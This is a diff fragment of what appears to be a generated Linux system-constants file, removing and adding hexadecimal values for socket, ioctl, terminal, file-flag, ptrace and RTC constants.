-- RTPROT_GATED = 0x8
-- RTPROT_KERNEL = 0x2
-- RTPROT_MROUTED = 0x11
-- RTPROT_MRT = 0xa
-- RTPROT_NTK = 0xf
-- RTPROT_RA = 0x9
-- RTPROT_REDIRECT = 0x1
-- RTPROT_STATIC = 0x4
-- RTPROT_UNSPEC = 0x0
-- RTPROT_XORP = 0xe
-- RTPROT_ZEBRA = 0xb
-- RT_CLASS_DEFAULT = 0xfd
-- RT_CLASS_LOCAL = 0xff
-- RT_CLASS_MAIN = 0xfe
-- RT_CLASS_MAX = 0xff
-- RT_CLASS_UNSPEC = 0x0
-- RUSAGE_CHILDREN = -0x1
-- RUSAGE_SELF = 0x0
-- RUSAGE_THREAD = 0x1
-- SCM_CREDENTIALS = 0x2
-- SCM_RIGHTS = 0x1
-- SCM_TIMESTAMP = 0x1d
-- SCM_TIMESTAMPING = 0x25
-- SCM_TIMESTAMPING_OPT_STATS = 0x36
-- SCM_TIMESTAMPNS = 0x23
-- SCM_WIFI_STATUS = 0x29
-- SECCOMP_MODE_DISABLED = 0x0
-- SECCOMP_MODE_FILTER = 0x2
-- SECCOMP_MODE_STRICT = 0x1
-- SHUT_RD = 0x0
-- SHUT_RDWR = 0x2
-- SHUT_WR = 0x1
-- SIOCADDDLCI = 0x8980
-- SIOCADDMULTI = 0x8931
-- SIOCADDRT = 0x890b
-- SIOCATMARK = 0x40047307
-- SIOCBONDCHANGEACTIVE = 0x8995
-- SIOCBONDENSLAVE = 0x8990
-- SIOCBONDINFOQUERY = 0x8994
-- SIOCBONDRELEASE = 0x8991
-- SIOCBONDSETHWADDR = 0x8992
-- SIOCBONDSLAVEINFOQUERY = 0x8993
-- SIOCBRADDBR = 0x89a0
-- SIOCBRADDIF = 0x89a2
-- SIOCBRDELBR = 0x89a1
-- SIOCBRDELIF = 0x89a3
-- SIOCDARP = 0x8953
-- SIOCDELDLCI = 0x8981
-- SIOCDELMULTI = 0x8932
-- SIOCDELRT = 0x890c
-- SIOCDEVPRIVATE = 0x89f0
-- SIOCDIFADDR = 0x8936
-- SIOCDRARP = 0x8960
-- SIOCETHTOOL = 0x8946
-- SIOCGARP = 0x8954
-- SIOCGHWTSTAMP = 0x89b1
-- SIOCGIFADDR = 0x8915
-- SIOCGIFBR = 0x8940
-- SIOCGIFBRDADDR = 0x8919
-- SIOCGIFCONF = 0x8912
-- SIOCGIFCOUNT = 0x8938
-- SIOCGIFDSTADDR = 0x8917
-- SIOCGIFENCAP = 0x8925
-- SIOCGIFFLAGS = 0x8913
-- SIOCGIFHWADDR = 0x8927
-- SIOCGIFINDEX = 0x8933
-- SIOCGIFMAP = 0x8970
-- SIOCGIFMEM = 0x891f
-- SIOCGIFMETRIC = 0x891d
-- SIOCGIFMTU = 0x8921
-- SIOCGIFNAME = 0x8910
-- SIOCGIFNETMASK = 0x891b
-- SIOCGIFPFLAGS = 0x8935
-- SIOCGIFSLAVE = 0x8929
-- SIOCGIFTXQLEN = 0x8942
-- SIOCGIFVLAN = 0x8982
-- SIOCGMIIPHY = 0x8947
-- SIOCGMIIREG = 0x8948
-- SIOCGPGRP = 0x40047309
-- SIOCGRARP = 0x8961
-- SIOCGSKNS = 0x894c
-- SIOCGSTAMP = 0x8906
-- SIOCGSTAMPNS = 0x8907
-- SIOCINQ = 0x467f
-- SIOCOUTQ = 0x7472
-- SIOCOUTQNSD = 0x894b
-- SIOCPROTOPRIVATE = 0x89e0
-- SIOCRTMSG = 0x890d
-- SIOCSARP = 0x8955
-- SIOCSHWTSTAMP = 0x89b0
-- SIOCSIFADDR = 0x8916
-- SIOCSIFBR = 0x8941
-- SIOCSIFBRDADDR = 0x891a
-- SIOCSIFDSTADDR = 0x8918
-- SIOCSIFENCAP = 0x8926
-- SIOCSIFFLAGS = 0x8914
-- SIOCSIFHWADDR = 0x8924
-- SIOCSIFHWBROADCAST = 0x8937
-- SIOCSIFLINK = 0x8911
-- SIOCSIFMAP = 0x8971
-- SIOCSIFMEM = 0x8920
-- SIOCSIFMETRIC = 0x891e
-- SIOCSIFMTU = 0x8922
-- SIOCSIFNAME = 0x8923
-- SIOCSIFNETMASK = 0x891c
-- SIOCSIFPFLAGS = 0x8934
-- SIOCSIFSLAVE = 0x8930
-- SIOCSIFTXQLEN = 0x8943
-- SIOCSIFVLAN = 0x8983
-- SIOCSMIIREG = 0x8949
-- SIOCSPGRP = 0x80047308
-- SIOCSRARP = 0x8962
-- SIOCWANDEV = 0x894a
-- SOCK_CLOEXEC = 0x80000
-- SOCK_DCCP = 0x6
-- SOCK_DGRAM = 0x1
-- SOCK_IOC_TYPE = 0x89
-- SOCK_NONBLOCK = 0x80
-- SOCK_PACKET = 0xa
-- SOCK_RAW = 0x3
-- SOCK_RDM = 0x4
-- SOCK_SEQPACKET = 0x5
-- SOCK_STREAM = 0x2
-- SOL_AAL = 0x109
-- SOL_ALG = 0x117
-- SOL_ATM = 0x108
-- SOL_CAIF = 0x116
-- SOL_CAN_BASE = 0x64
-- SOL_DCCP = 0x10d
-- SOL_DECNET = 0x105
-- SOL_ICMPV6 = 0x3a
-- SOL_IP = 0x0
-- SOL_IPV6 = 0x29
-- SOL_IRDA = 0x10a
-- SOL_IUCV = 0x115
-- SOL_KCM = 0x119
-- SOL_LLC = 0x10c
-- SOL_NETBEUI = 0x10b
-- SOL_NETLINK = 0x10e
-- SOL_NFC = 0x118
-- SOL_PACKET = 0x107
-- SOL_PNPIPE = 0x113
-- SOL_PPPOL2TP = 0x111
-- SOL_RAW = 0xff
-- SOL_RDS = 0x114
-- SOL_RXRPC = 0x110
-- SOL_SOCKET = 0xffff
-- SOL_TCP = 0x6
-- SOL_TIPC = 0x10f
-- SOL_X25 = 0x106
-- SOMAXCONN = 0x80
-- SO_ACCEPTCONN = 0x1009
-- SO_ATTACH_BPF = 0x32
-- SO_ATTACH_FILTER = 0x1a
-- SO_ATTACH_REUSEPORT_CBPF = 0x33
-- SO_ATTACH_REUSEPORT_EBPF = 0x34
-- SO_BINDTODEVICE = 0x19
-- SO_BPF_EXTENSIONS = 0x30
-- SO_BROADCAST = 0x20
-- SO_BSDCOMPAT = 0xe
-- SO_BUSY_POLL = 0x2e
-- SO_CNX_ADVICE = 0x35
-- SO_DEBUG = 0x1
-- SO_DETACH_BPF = 0x1b
-- SO_DETACH_FILTER = 0x1b
-- SO_DOMAIN = 0x1029
-- SO_DONTROUTE = 0x10
-- SO_ERROR = 0x1007
-- SO_GET_FILTER = 0x1a
-- SO_INCOMING_CPU = 0x31
-- SO_KEEPALIVE = 0x8
-- SO_LINGER = 0x80
-- SO_LOCK_FILTER = 0x2c
-- SO_MARK = 0x24
-- SO_MAX_PACING_RATE = 0x2f
-- SO_NOFCS = 0x2b
-- SO_NO_CHECK = 0xb
-- SO_OOBINLINE = 0x100
-- SO_PASSCRED = 0x11
-- SO_PASSSEC = 0x22
-- SO_PEEK_OFF = 0x2a
-- SO_PEERCRED = 0x12
-- SO_PEERNAME = 0x1c
-- SO_PEERSEC = 0x1e
-- SO_PRIORITY = 0xc
-- SO_PROTOCOL = 0x1028
-- SO_RCVBUF = 0x1002
-- SO_RCVBUFFORCE = 0x21
-- SO_RCVLOWAT = 0x1004
-- SO_RCVTIMEO = 0x1006
-- SO_REUSEADDR = 0x4
-- SO_REUSEPORT = 0x200
-- SO_RXQ_OVFL = 0x28
-- SO_SECURITY_AUTHENTICATION = 0x16
-- SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-- SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-- SO_SELECT_ERR_QUEUE = 0x2d
-- SO_SNDBUF = 0x1001
-- SO_SNDBUFFORCE = 0x1f
-- SO_SNDLOWAT = 0x1003
-- SO_SNDTIMEO = 0x1005
-- SO_STYLE = 0x1008
-- SO_TIMESTAMP = 0x1d
-- SO_TIMESTAMPING = 0x25
-- SO_TIMESTAMPNS = 0x23
-- SO_TYPE = 0x1008
-- SO_VM_SOCKETS_BUFFER_MAX_SIZE = 0x2
-- SO_VM_SOCKETS_BUFFER_MIN_SIZE = 0x1
-- SO_VM_SOCKETS_BUFFER_SIZE = 0x0
-- SO_VM_SOCKETS_CONNECT_TIMEOUT = 0x6
-- SO_VM_SOCKETS_NONBLOCK_TXRX = 0x7
-- SO_VM_SOCKETS_PEER_HOST_VM_ID = 0x3
-- SO_VM_SOCKETS_TRUSTED = 0x5
-- SO_WIFI_STATUS = 0x29
-- SPLICE_F_GIFT = 0x8
-- SPLICE_F_MORE = 0x4
-- SPLICE_F_MOVE = 0x1
-- SPLICE_F_NONBLOCK = 0x2
-- S_BLKSIZE = 0x200
-- S_IEXEC = 0x40
-- S_IFBLK = 0x6000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFIFO = 0x1000
-- S_IFLNK = 0xa000
-- S_IFMT = 0xf000
-- S_IFREG = 0x8000
-- S_IFSOCK = 0xc000
-- S_IREAD = 0x100
-- S_IRGRP = 0x20
-- S_IROTH = 0x4
-- S_IRUSR = 0x100
-- S_IRWXG = 0x38
-- S_IRWXO = 0x7
-- S_IRWXU = 0x1c0
-- S_ISGID = 0x400
-- S_ISUID = 0x800
-- S_ISVTX = 0x200
-- S_IWGRP = 0x10
-- S_IWOTH = 0x2
-- S_IWRITE = 0x80
-- S_IWUSR = 0x80
-- S_IXGRP = 0x8
-- S_IXOTH = 0x1
-- S_IXUSR = 0x40
-- TAB0 = 0x0
-- TAB1 = 0x800
-- TAB2 = 0x1000
-- TAB3 = 0x1800
-- TABDLY = 0x1800
-- TASKSTATS_CMD_ATTR_MAX = 0x4
-- TASKSTATS_CMD_MAX = 0x2
-- TASKSTATS_GENL_NAME = "TASKSTATS"
-- TASKSTATS_GENL_VERSION = 0x1
-- TASKSTATS_TYPE_MAX = 0x6
-- TASKSTATS_VERSION = 0x8
-- TCFLSH = 0x5407
-- TCGETA = 0x5401
-- TCGETS = 0x540d
-- TCGETS2 = 0x4030542a
-- TCIFLUSH = 0x0
-- TCIOFF = 0x2
-- TCIOFLUSH = 0x2
-- TCION = 0x3
-- TCOFLUSH = 0x1
-- TCOOFF = 0x0
-- TCOON = 0x1
-- TCP_CC_INFO = 0x1a
-- TCP_CONGESTION = 0xd
-- TCP_COOKIE_IN_ALWAYS = 0x1
-- TCP_COOKIE_MAX = 0x10
-- TCP_COOKIE_MIN = 0x8
-- TCP_COOKIE_OUT_NEVER = 0x2
-- TCP_COOKIE_PAIR_SIZE = 0x20
-- TCP_COOKIE_TRANSACTIONS = 0xf
-- TCP_CORK = 0x3
-- TCP_DEFER_ACCEPT = 0x9
-- TCP_FASTOPEN = 0x17
-- TCP_INFO = 0xb
-- TCP_KEEPCNT = 0x6
-- TCP_KEEPIDLE = 0x4
-- TCP_KEEPINTVL = 0x5
-- TCP_LINGER2 = 0x8
-- TCP_MAXSEG = 0x2
-- TCP_MAXWIN = 0xffff
-- TCP_MAX_WINSHIFT = 0xe
-- TCP_MD5SIG = 0xe
-- TCP_MD5SIG_MAXKEYLEN = 0x50
-- TCP_MSS = 0x200
-- TCP_MSS_DEFAULT = 0x218
-- TCP_MSS_DESIRED = 0x4c4
-- TCP_NODELAY = 0x1
-- TCP_NOTSENT_LOWAT = 0x19
-- TCP_QUEUE_SEQ = 0x15
-- TCP_QUICKACK = 0xc
-- TCP_REPAIR = 0x13
-- TCP_REPAIR_OPTIONS = 0x16
-- TCP_REPAIR_QUEUE = 0x14
-- TCP_REPAIR_WINDOW = 0x1d
-- TCP_SAVED_SYN = 0x1c
-- TCP_SAVE_SYN = 0x1b
-- TCP_SYNCNT = 0x7
-- TCP_S_DATA_IN = 0x4
-- TCP_S_DATA_OUT = 0x8
-- TCP_THIN_DUPACK = 0x11
-- TCP_THIN_LINEAR_TIMEOUTS = 0x10
-- TCP_TIMESTAMP = 0x18
-- TCP_USER_TIMEOUT = 0x12
-- TCP_WINDOW_CLAMP = 0xa
-- TCSAFLUSH = 0x5410
-- TCSBRK = 0x5405
-- TCSBRKP = 0x5486
-- TCSETA = 0x5402
-- TCSETAF = 0x5404
-- TCSETAW = 0x5403
-- TCSETS = 0x540e
-- TCSETS2 = 0x8030542b
-- TCSETSF = 0x5410
-- TCSETSF2 = 0x8030542d
-- TCSETSW = 0x540f
-- TCSETSW2 = 0x8030542c
-- TCXONC = 0x5406
-- TIOCCBRK = 0x5428
-- TIOCCONS = 0x80047478
-- TIOCEXCL = 0x740d
-- TIOCGDEV = 0x40045432
-- TIOCGETD = 0x7400
-- TIOCGETP = 0x7408
-- TIOCGEXCL = 0x40045440
-- TIOCGICOUNT = 0x5492
-- TIOCGLCKTRMIOS = 0x548b
-- TIOCGLTC = 0x7474
-- TIOCGPGRP = 0x40047477
-- TIOCGPKT = 0x40045438
-- TIOCGPTLCK = 0x40045439
-- TIOCGPTN = 0x40045430
-- TIOCGRS485 = 0x4020542e
-- TIOCGSERIAL = 0x5484
-- TIOCGSID = 0x7416
-- TIOCGSOFTCAR = 0x5481
-- TIOCGWINSZ = 0x40087468
-- TIOCINQ = 0x467f
-- TIOCLINUX = 0x5483
-- TIOCMBIC = 0x741c
-- TIOCMBIS = 0x741b
-- TIOCMGET = 0x741d
-- TIOCMIWAIT = 0x5491
-- TIOCMSET = 0x741a
-- TIOCM_CAR = 0x100
-- TIOCM_CD = 0x100
-- TIOCM_CTS = 0x40
-- TIOCM_DSR = 0x400
-- TIOCM_DTR = 0x2
-- TIOCM_LE = 0x1
-- TIOCM_RI = 0x200
-- TIOCM_RNG = 0x200
-- TIOCM_RTS = 0x4
-- TIOCM_SR = 0x20
-- TIOCM_ST = 0x10
-- TIOCNOTTY = 0x5471
-- TIOCNXCL = 0x740e
-- TIOCOUTQ = 0x7472
-- TIOCPKT = 0x5470
-- TIOCPKT_DATA = 0x0
-- TIOCPKT_DOSTOP = 0x20
-- TIOCPKT_FLUSHREAD = 0x1
-- TIOCPKT_FLUSHWRITE = 0x2
-- TIOCPKT_IOCTL = 0x40
-- TIOCPKT_NOSTOP = 0x10
-- TIOCPKT_START = 0x8
-- TIOCPKT_STOP = 0x4
-- TIOCSBRK = 0x5427
-- TIOCSCTTY = 0x5480
-- TIOCSERCONFIG = 0x5488
-- TIOCSERGETLSR = 0x548e
-- TIOCSERGETMULTI = 0x548f
-- TIOCSERGSTRUCT = 0x548d
-- TIOCSERGWILD = 0x5489
-- TIOCSERSETMULTI = 0x5490
-- TIOCSERSWILD = 0x548a
-- TIOCSER_TEMT = 0x1
-- TIOCSETD = 0x7401
-- TIOCSETN = 0x740a
-- TIOCSETP = 0x7409
-- TIOCSIG = 0x80045436
-- TIOCSLCKTRMIOS = 0x548c
-- TIOCSLTC = 0x7475
-- TIOCSPGRP = 0x80047476
-- TIOCSPTLCK = 0x80045431
-- TIOCSRS485 = 0xc020542f
-- TIOCSSERIAL = 0x5485
-- TIOCSSOFTCAR = 0x5482
-- TIOCSTI = 0x5472
-- TIOCSWINSZ = 0x80087467
-- TIOCVHANGUP = 0x5437
-- TOSTOP = 0x8000
-- TS_COMM_LEN = 0x20
-- TUNATTACHFILTER = 0x801054d5
-- TUNDETACHFILTER = 0x801054d6
-- TUNGETFEATURES = 0x400454cf
-- TUNGETFILTER = 0x401054db
-- TUNGETIFF = 0x400454d2
-- TUNGETSNDBUF = 0x400454d3
-- TUNGETVNETBE = 0x400454df
-- TUNGETVNETHDRSZ = 0x400454d7
-- TUNGETVNETLE = 0x400454dd
-- TUNSETDEBUG = 0x800454c9
-- TUNSETGROUP = 0x800454ce
-- TUNSETIFF = 0x800454ca
-- TUNSETIFINDEX = 0x800454da
-- TUNSETLINK = 0x800454cd
-- TUNSETNOCSUM = 0x800454c8
-- TUNSETOFFLOAD = 0x800454d0
-- TUNSETOWNER = 0x800454cc
-- TUNSETPERSIST = 0x800454cb
-- TUNSETQUEUE = 0x800454d9
-- TUNSETSNDBUF = 0x800454d4
-- TUNSETTXFILTER = 0x800454d1
-- TUNSETVNETBE = 0x800454de
-- TUNSETVNETHDRSZ = 0x800454d8
-- TUNSETVNETLE = 0x800454dc
-- UMOUNT_NOFOLLOW = 0x8
-- VDISCARD = 0xd
-- VEOF = 0x10
-- VEOL = 0x11
-- VEOL2 = 0x6
-- VERASE = 0x2
-- VINTR = 0x0
-- VKILL = 0x3
-- VLNEXT = 0xf
-- VMADDR_CID_ANY = 0xffffffff
-- VMADDR_CID_HOST = 0x2
-- VMADDR_CID_HYPERVISOR = 0x0
-- VMADDR_CID_RESERVED = 0x1
-- VMADDR_PORT_ANY = 0xffffffff
-- VMIN = 0x4
-- VM_SOCKETS_INVALID_VERSION = 0xffffffff
-- VQUIT = 0x1
-- VREPRINT = 0xc
-- VSTART = 0x8
-- VSTOP = 0x9
-- VSUSP = 0xa
-- VSWTC = 0x7
-- VSWTCH = 0x7
-- VT0 = 0x0
-- VT1 = 0x4000
-- VTDLY = 0x4000
-- VTIME = 0x5
-- VWERASE = 0xe
-- WALL = 0x40000000
-- WCLONE = 0x80000000
-- WCONTINUED = 0x8
-- WEXITED = 0x4
-- WNOHANG = 0x1
-- WNOTHREAD = 0x20000000
-- WNOWAIT = 0x1000000
-- WORDSIZE = 0x40
-- WSTOPPED = 0x2
-- WUNTRACED = 0x2
-- XATTR_CREATE = 0x1
-- XATTR_REPLACE = 0x2
-- XCASE = 0x4
-- XTABS = 0x1800
-+ B1000000 = 0x1008
-+ B115200 = 0x1002
-+ B1152000 = 0x1009
-+ B1500000 = 0x100a
-+ B2000000 = 0x100b
-+ B230400 = 0x1003
-+ B2500000 = 0x100c
-+ B3000000 = 0x100d
-+ B3500000 = 0x100e
-+ B4000000 = 0x100f
-+ B460800 = 0x1004
-+ B500000 = 0x1005
-+ B57600 = 0x1001
-+ B576000 = 0x1006
-+ B921600 = 0x1007
-+ BLKBSZGET = 0x40081270
-+ BLKBSZSET = 0x80081271
-+ BLKFLSBUF = 0x20001261
-+ BLKFRAGET = 0x20001265
-+ BLKFRASET = 0x20001264
-+ BLKGETSIZE = 0x20001260
-+ BLKGETSIZE64 = 0x40081272
-+ BLKPBSZGET = 0x2000127b
-+ BLKRAGET = 0x20001263
-+ BLKRASET = 0x20001262
-+ BLKROGET = 0x2000125e
-+ BLKROSET = 0x2000125d
-+ BLKRRPART = 0x2000125f
-+ BLKSECTGET = 0x20001267
-+ BLKSECTSET = 0x20001266
-+ BLKSSZGET = 0x20001268
-+ BOTHER = 0x1000
-+ BS1 = 0x2000
-+ BSDLY = 0x2000
-+ CBAUD = 0x100f
-+ CBAUDEX = 0x1000
-+ CIBAUD = 0x100f0000
-+ CLOCAL = 0x800
-+ CR1 = 0x200
-+ CR2 = 0x400
-+ CR3 = 0x600
-+ CRDLY = 0x600
-+ CREAD = 0x80
-+ CS6 = 0x10
-+ CS7 = 0x20
-+ CS8 = 0x30
-+ CSIZE = 0x30
-+ CSTOPB = 0x40
-+ ECHOCTL = 0x200
-+ ECHOE = 0x10
-+ ECHOK = 0x20
-+ ECHOKE = 0x800
-+ ECHONL = 0x40
-+ ECHOPRT = 0x400
-+ EFD_CLOEXEC = 0x80000
-+ EFD_NONBLOCK = 0x80
-+ EPOLL_CLOEXEC = 0x80000
-+ EXTPROC = 0x10000
-+ FF1 = 0x8000
-+ FFDLY = 0x8000
-+ FLUSHO = 0x2000
-+ FS_IOC_ENABLE_VERITY = 0x80806685
-+ FS_IOC_GETFLAGS = 0x40086601
-+ FS_IOC_GET_ENCRYPTION_POLICY = 0x800c6615
-+ FS_IOC_GET_ENCRYPTION_PWSALT = 0x80106614
-+ FS_IOC_SET_ENCRYPTION_POLICY = 0x400c6613
-+ F_GETLK = 0xe
-+ F_GETLK64 = 0xe
-+ F_GETOWN = 0x17
-+ F_RDLCK = 0x0
-+ F_SETLK = 0x6
-+ F_SETLK64 = 0x6
-+ F_SETLKW = 0x7
-+ F_SETLKW64 = 0x7
-+ F_SETOWN = 0x18
-+ F_UNLCK = 0x2
-+ F_WRLCK = 0x1
-+ HUPCL = 0x400
-+ ICANON = 0x2
-+ IEXTEN = 0x100
-+ IN_CLOEXEC = 0x80000
-+ IN_NONBLOCK = 0x80
-+ IOCTL_VM_SOCKETS_GET_LOCAL_CID = 0x200007b9
-+ ISIG = 0x1
-+ IUCLC = 0x200
-+ IXOFF = 0x1000
-+ IXON = 0x400
-+ MAP_ANON = 0x800
-+ MAP_ANONYMOUS = 0x800
-+ MAP_DENYWRITE = 0x2000
-+ MAP_EXECUTABLE = 0x4000
-+ MAP_GROWSDOWN = 0x1000
-+ MAP_HUGETLB = 0x80000
-+ MAP_LOCKED = 0x8000
-+ MAP_NONBLOCK = 0x20000
-+ MAP_NORESERVE = 0x400
-+ MAP_POPULATE = 0x10000
-+ MAP_RENAME = 0x800
-+ MAP_STACK = 0x40000
-+ MCL_CURRENT = 0x1
-+ MCL_FUTURE = 0x2
-+ MCL_ONFAULT = 0x4
-+ NFDBITS = 0x40
-+ NLDLY = 0x100
-+ NOFLSH = 0x80
-+ NS_GET_NSTYPE = 0x2000b703
-+ NS_GET_OWNER_UID = 0x2000b704
-+ NS_GET_PARENT = 0x2000b702
-+ NS_GET_USERNS = 0x2000b701
-+ OLCUC = 0x2
-+ ONLCR = 0x4
-+ O_APPEND = 0x8
-+ O_ASYNC = 0x1000
-+ O_CLOEXEC = 0x80000
-+ O_CREAT = 0x100
-+ O_DIRECT = 0x8000
-+ O_DIRECTORY = 0x10000
-+ O_DSYNC = 0x10
-+ O_EXCL = 0x400
-+ O_FSYNC = 0x4010
-+ O_LARGEFILE = 0x0
-+ O_NDELAY = 0x80
-+ O_NOATIME = 0x40000
-+ O_NOCTTY = 0x800
-+ O_NOFOLLOW = 0x20000
-+ O_NONBLOCK = 0x80
-+ O_PATH = 0x200000
-+ O_RSYNC = 0x4010
-+ O_SYNC = 0x4010
-+ O_TMPFILE = 0x410000
-+ O_TRUNC = 0x200
-+ PARENB = 0x100
-+ PARODD = 0x200
-+ PENDIN = 0x4000
-+ PERF_EVENT_IOC_DISABLE = 0x20002401
-+ PERF_EVENT_IOC_ENABLE = 0x20002400
-+ PERF_EVENT_IOC_ID = 0x40082407
-+ PERF_EVENT_IOC_MODIFY_ATTRIBUTES = 0x8008240b
-+ PERF_EVENT_IOC_PAUSE_OUTPUT = 0x80042409
-+ PERF_EVENT_IOC_PERIOD = 0x80082404
-+ PERF_EVENT_IOC_QUERY_BPF = 0xc008240a
-+ PERF_EVENT_IOC_REFRESH = 0x20002402
-+ PERF_EVENT_IOC_RESET = 0x20002403
-+ PERF_EVENT_IOC_SET_BPF = 0x80042408
-+ PERF_EVENT_IOC_SET_FILTER = 0x80082406
-+ PERF_EVENT_IOC_SET_OUTPUT = 0x20002405
-+ PPPIOCATTACH = 0x8004743d
-+ PPPIOCATTCHAN = 0x80047438
-+ PPPIOCCONNECT = 0x8004743a
-+ PPPIOCDETACH = 0x8004743c
-+ PPPIOCDISCONN = 0x20007439
-+ PPPIOCGASYNCMAP = 0x40047458
-+ PPPIOCGCHAN = 0x40047437
-+ PPPIOCGDEBUG = 0x40047441
-+ PPPIOCGFLAGS = 0x4004745a
-+ PPPIOCGIDLE = 0x4010743f
-+ PPPIOCGIDLE32 = 0x4008743f
-+ PPPIOCGIDLE64 = 0x4010743f
-+ PPPIOCGL2TPSTATS = 0x40487436
-+ PPPIOCGMRU = 0x40047453
-+ PPPIOCGRASYNCMAP = 0x40047455
-+ PPPIOCGUNIT = 0x40047456
-+ PPPIOCGXASYNCMAP = 0x40207450
-+ PPPIOCSACTIVE = 0x80107446
-+ PPPIOCSASYNCMAP = 0x80047457
-+ PPPIOCSCOMPRESS = 0x8010744d
-+ PPPIOCSDEBUG = 0x80047440
-+ PPPIOCSFLAGS = 0x80047459
-+ PPPIOCSMAXCID = 0x80047451
-+ PPPIOCSMRRU = 0x8004743b
-+ PPPIOCSMRU = 0x80047452
-+ PPPIOCSNPMODE = 0x8008744b
-+ PPPIOCSPASS = 0x80107447
-+ PPPIOCSRASYNCMAP = 0x80047454
-+ PPPIOCSXASYNCMAP = 0x8020744f
-+ PPPIOCXFERUNIT = 0x2000744e
-+ PR_SET_PTRACER_ANY = 0xffffffffffffffff
-+ PTRACE_GETFPREGS = 0xe
-+ PTRACE_GET_THREAD_AREA = 0x19
-+ PTRACE_GET_THREAD_AREA_3264 = 0xc4
-+ PTRACE_GET_WATCH_REGS = 0xd0
-+ PTRACE_OLDSETOPTIONS = 0x15
-+ PTRACE_PEEKDATA_3264 = 0xc1
-+ PTRACE_PEEKTEXT_3264 = 0xc0
-+ PTRACE_POKEDATA_3264 = 0xc3
-+ PTRACE_POKETEXT_3264 = 0xc2
-+ PTRACE_SETFPREGS = 0xf
-+ PTRACE_SET_THREAD_AREA = 0x1a
-+ PTRACE_SET_WATCH_REGS = 0xd1
-+ RLIMIT_AS = 0x6
-+ RLIMIT_MEMLOCK = 0x9
-+ RLIMIT_NOFILE = 0x5
-+ RLIMIT_NPROC = 0x8
-+ RLIMIT_RSS = 0x7
-+ RNDADDENTROPY = 0x80085203
-+ RNDADDTOENTCNT = 0x80045201
-+ RNDCLEARPOOL = 0x20005206
-+ RNDGETENTCNT = 0x40045200
-+ RNDGETPOOL = 0x40085202
-+ RNDRESEEDCRNG = 0x20005207
-+ RNDZAPENTCNT = 0x20005204
-+ RTC_AIE_OFF = 0x20007002
-+ RTC_AIE_ON = 0x20007001
-+ RTC_ALM_READ = 0x40247008
-+ RTC_ALM_SET = 0x80247007
-+ RTC_EPOCH_READ = 0x4008700d
-+ RTC_EPOCH_SET = 0x8008700e
-+ RTC_IRQP_READ = 0x4008700b
-+ RTC_IRQP_SET = 0x8008700c
-+ RTC_PIE_OFF = 0x20007006
-+ RTC_PIE_ON = 0x20007005
-+ RTC_PLL_GET = 0x40207011
-+ RTC_PLL_SET = 0x80207012
-+ RTC_RD_TIME = 0x40247009
-+ RTC_SET_TIME = 0x8024700a
-+ RTC_UIE_OFF = 0x20007004
-+ RTC_UIE_ON = 0x20007003
-+ RTC_VL_CLR = 0x20007014
-+ RTC_VL_READ = 0x40047013
-+ RTC_WIE_OFF = 0x20007010
-+ RTC_WIE_ON = 0x2000700f
-+ RTC_WKALM_RD = 0x40287010
-+ RTC_WKALM_SET = 0x8028700f
-+ SCM_TIMESTAMPING = 0x25
-+ SCM_TIMESTAMPING_OPT_STATS = 0x36
-+ SCM_TIMESTAMPING_PKTINFO = 0x3a
-+ SCM_TIMESTAMPNS = 0x23
-+ SCM_TXTIME = 0x3d
-+ SCM_WIFI_STATUS = 0x29
-+ SFD_CLOEXEC = 0x80000
-+ SFD_NONBLOCK = 0x80
-+ SIOCATMARK = 0x40047307
-+ SIOCGPGRP = 0x40047309
-+ SIOCGSTAMPNS_NEW = 0x40108907
-+ SIOCGSTAMP_NEW = 0x40108906
-+ SIOCINQ = 0x467f
-+ SIOCOUTQ = 0x7472
-+ SIOCSPGRP = 0x80047308
-+ SOCK_CLOEXEC = 0x80000
-+ SOCK_DGRAM = 0x1
-+ SOCK_NONBLOCK = 0x80
-+ SOCK_STREAM = 0x2
-+ SOL_SOCKET = 0xffff
-+ SO_ACCEPTCONN = 0x1009
-+ SO_ATTACH_BPF = 0x32
-+ SO_ATTACH_REUSEPORT_CBPF = 0x33
-+ SO_ATTACH_REUSEPORT_EBPF = 0x34
-+ SO_BINDTODEVICE = 0x19
-+ SO_BINDTOIFINDEX = 0x3e
-+ SO_BPF_EXTENSIONS = 0x30
-+ SO_BROADCAST = 0x20
-+ SO_BSDCOMPAT = 0xe
-+ SO_BUSY_POLL = 0x2e
-+ SO_CNX_ADVICE = 0x35
-+ SO_COOKIE = 0x39
-+ SO_DETACH_REUSEPORT_BPF = 0x44
-+ SO_DOMAIN = 0x1029
-+ SO_DONTROUTE = 0x10
-+ SO_ERROR = 0x1007
-+ SO_INCOMING_CPU = 0x31
-+ SO_INCOMING_NAPI_ID = 0x38
-+ SO_KEEPALIVE = 0x8
-+ SO_LINGER = 0x80
-+ SO_LOCK_FILTER = 0x2c
-+ SO_MARK = 0x24
-+ SO_MAX_PACING_RATE = 0x2f
-+ SO_MEMINFO = 0x37
-+ SO_NOFCS = 0x2b
-+ SO_OOBINLINE = 0x100
-+ SO_PASSCRED = 0x11
-+ SO_PASSSEC = 0x22
-+ SO_PEEK_OFF = 0x2a
-+ SO_PEERCRED = 0x12
-+ SO_PEERGROUPS = 0x3b
-+ SO_PEERSEC = 0x1e
-+ SO_PROTOCOL = 0x1028
-+ SO_RCVBUF = 0x1002
-+ SO_RCVBUFFORCE = 0x21
-+ SO_RCVLOWAT = 0x1004
-+ SO_RCVTIMEO = 0x1006
-+ SO_RCVTIMEO_NEW = 0x42
-+ SO_RCVTIMEO_OLD = 0x1006
-+ SO_REUSEADDR = 0x4
-+ SO_REUSEPORT = 0x200
-+ SO_RXQ_OVFL = 0x28
-+ SO_SECURITY_AUTHENTICATION = 0x16
-+ SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-+ SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-+ SO_SELECT_ERR_QUEUE = 0x2d
-+ SO_SNDBUF = 0x1001
-+ SO_SNDBUFFORCE = 0x1f
-+ SO_SNDLOWAT = 0x1003
-+ SO_SNDTIMEO = 0x1005
-+ SO_SNDTIMEO_NEW = 0x43
-+ SO_SNDTIMEO_OLD = 0x1005
-+ SO_STYLE = 0x1008
-+ SO_TIMESTAMPING = 0x25
-+ SO_TIMESTAMPING_NEW = 0x41
-+ SO_TIMESTAMPING_OLD = 0x25
-+ SO_TIMESTAMPNS = 0x23
-+ SO_TIMESTAMPNS_NEW = 0x40
-+ SO_TIMESTAMPNS_OLD = 0x23
-+ SO_TIMESTAMP_NEW = 0x3f
-+ SO_TXTIME = 0x3d
